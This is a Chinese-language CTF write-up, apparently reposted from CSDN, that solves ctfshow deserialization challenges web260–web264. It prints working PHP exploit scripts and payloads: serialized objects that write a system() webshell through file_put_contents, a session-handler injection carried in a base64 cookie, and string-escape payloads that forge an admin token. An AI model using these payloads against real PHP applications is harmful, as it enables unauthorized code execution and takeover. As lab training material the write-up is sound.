自学内容网 自学内容网

ctfshow-web入门-反序列化(web260-web264)

目录

1、web260

2、web261

3、web262

4、web263

5、web264


1、web260

要求传入的内容序列化后包含指定内容即可,在 PHP 序列化中,如果键名或值包含 ctfshow_i_love_36D,那么整个序列化结果也会包含这个字符串。

payload:

?ctfshow[]=ctfshow_i_love_36D

拿到 flag:ctfshow{16d7d5c7-a95b-46e2-8ae6-9ce1ce40db95}

2、web261

一开始看到的是 eval 函数,但是需要触发__invoke ,看了下这里没法触发

那么利用点就只有file_put_contents,需要满足code==0x36d 转成十进制也就是 877,是弱等于,因此我们可以在877 后面添加内容,也可以满足条件,而 code = t h i s − > u s e r n a m e . this->username. this>username.this->password,也就是传入的用户名和密码的拼接。

exp:

<?php
class ctfshowvip
{
    public $username;
    public $password;
    public $code;

    public function __construct($u, $p)
    {
        $this->username = $u;
        $this->password = $p;
    }
}
$c = new ctfshowvip('877.php',"<?php system('tac /f*');?>");
echo serialize($c);

这里同时存在__unserialize() 和 __wakeup()函数,在 php 7.4 以上版本反序列化时会忽略__wakeup() 函数,因此这里实际并不需要用户名和密码为空。

payload:

?vip=O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:26:"<?php system('tac /f*');?>";s:4:"code";N;}

访问 877.php 拿到 flag

ctfshow{2f61063a-c9c5-49f7-968a-d7adf772376d}

3、web262

没看到什么利用点,但是注意到有一个 message.php

这个就很简单了,满足 $msg->token==‘admin’ 即可

exp:

<?php
class message{
    public $token='admin';
}
$m = new message();
echo base64_encode(serialize($m));
?>

payload:

msg=Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

拿到 flag:ctfshow{52bb7ed2-61da-493c-a7f3-89f9ea42f6c2}

如果不在message.php 传,回过头来看这个,其实是字符串逃逸变长的类型

将fuck 替换为loveU 就会增加一个字符

逃逸部分如下,共27个字符

构造 payload:

?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

访问 message.php 即可看到 flag

4、web263

目录扫描存在备份文件 www.zip

file_put_contents 这里可以写入东西

session.serialize_handler 是用来设置 session 序列化引擎的,在 5.5.4 前默认是 php,5.5.4后默认是 php_serialize,在 PHP 反序列化存储的 $_SESSION 数据时如果使用的引擎和序列化时使用的引擎不一样,就会导致数据无法正确第反序列化,也就是 session 反序列化漏洞。

在 check.php 下会获取 $_COOKIE[‘limit’]进行 base64 解码

exp:

<?php
class User
{
    public $username;
    public $password;
    function __construct()
    {
        $this->username = 'my6n.php';
        $this->password = '<?php system('tac flag.php')?>';
    }
}
$u = new User();
echo urlencode(base64_encode('|' . serialize($u)));

运行得到:

fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo4OiJteTZuLnBocCI7czo4OiJwYXNzd29yZCI7czozMDoiPD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKT8%2BIjt9

先访问首页,建立会话,将 cookie 中的 limit 赋值为我们的 payload(序列化后的内容)

接着访问 check.php

反序列化 session

写入恶意代码

访问写入的文件 log-my6n.php

命令执行成功

拿到 flag:ctfshow{2810fbc2-fc78-4bad-b0cb-8a40aedbe6d4}

5、web264

直接用 web262 的传发现不行,msg 没有定义

查看 cookie,确实没有 msg

我们手动添加一个,但是直接在 message.php 设置 admin 也不行,那就还是采用字符串逃逸的方法,payload 同 web262:

?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

刷新 message.php

拿到 flag:ctfshow{e2c408b1-9ab9-4c87-8655-ec43b2e2930a}


原文地址:https://blog.csdn.net/m0_74823094/article/details/144432284

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!